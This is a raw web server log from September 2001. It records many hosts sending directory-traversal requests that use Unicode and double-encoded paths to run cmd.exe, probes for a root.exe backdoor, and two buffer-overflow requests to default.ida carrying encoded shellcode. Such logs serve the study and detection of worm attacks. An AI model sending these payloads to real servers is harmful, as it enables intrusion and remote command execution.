/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:29: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:14: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:24: hawk-c-040.resnet.purdue.edu [128.211.202.40] "" 20010918 20:39:36: hawk-c-040.resnet.purdue.edu [128.211.202.40] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:39:42: hawk-c-040.resnet.purdue.edu [128.211.202.40] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:44: hawk-c-040.resnet.purdue.edu [128.211.202.40] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:39:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:23: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:24: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:24: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:42:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:43:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:43:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:05: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:43:48: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:43:48: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:49: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:49: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:43:56: [128.187.39.227] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:44:23: [128.187.39.227] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:44:41: [128.187.39.227] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:44:59: [128.187.39.227] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:45:18: [128.187.39.227] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:45:36: [128.187.39.227] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:45:54: [128.187.39.227] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:46:12: [128.187.39.227] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:46:31: [128.187.39.227] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:46:49: [128.187.39.227] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:47:07: [128.187.39.227] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:47:26: [128.187.39.227] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:47:44: [128.187.39.227] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:48:02: [128.187.39.227] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:48:20: [128.187.39.227] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:48:39: [128.187.39.227] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:48:57: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:50: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:51: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:49:51: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 20:50:49: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:32: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:54:32: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:56:07: libr-968.dhcp.umass.edu [128.119.171.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:56:07: libr-968.dhcp.umass.edu [128.119.171.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:08: libr-968.dhcp.umass.edu [128.119.171.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:08: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:09: libr-968.dhcp.umass.edu [128.119.171.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:09: libr-968.dhcp.umass.edu [128.119.171.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:13: libr-968.dhcp.umass.edu [128.119.171.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:13: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:14: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:14: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:15: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:15: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:16: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:16: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:17: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:56:52: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:56:52: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:52: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:56:53: [61.140.24.131] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:59:33: [61.140.24.131] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:59:54: [61.140.24.131] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:00:15: [61.140.24.131] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:00:37: [61.140.24.131] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:01:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 21:01:47: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:02:48: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:02:52: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:02:53: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:02:54: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:02:55: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:02:56: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:02:56: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:02:57: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:02:58: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:02:59: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:00: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:01: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:02: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:03: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:04: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:04: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:03:24: libr-968.dhcp.umass.edu [128.119.171.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:03:24: libr-968.dhcp.umass.edu [128.119.171.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:28: libr-968.dhcp.umass.edu [128.119.171.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:28: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:29: libr-968.dhcp.umass.edu [128.119.171.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:29: libr-968.dhcp.umass.edu [128.119.171.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:30: 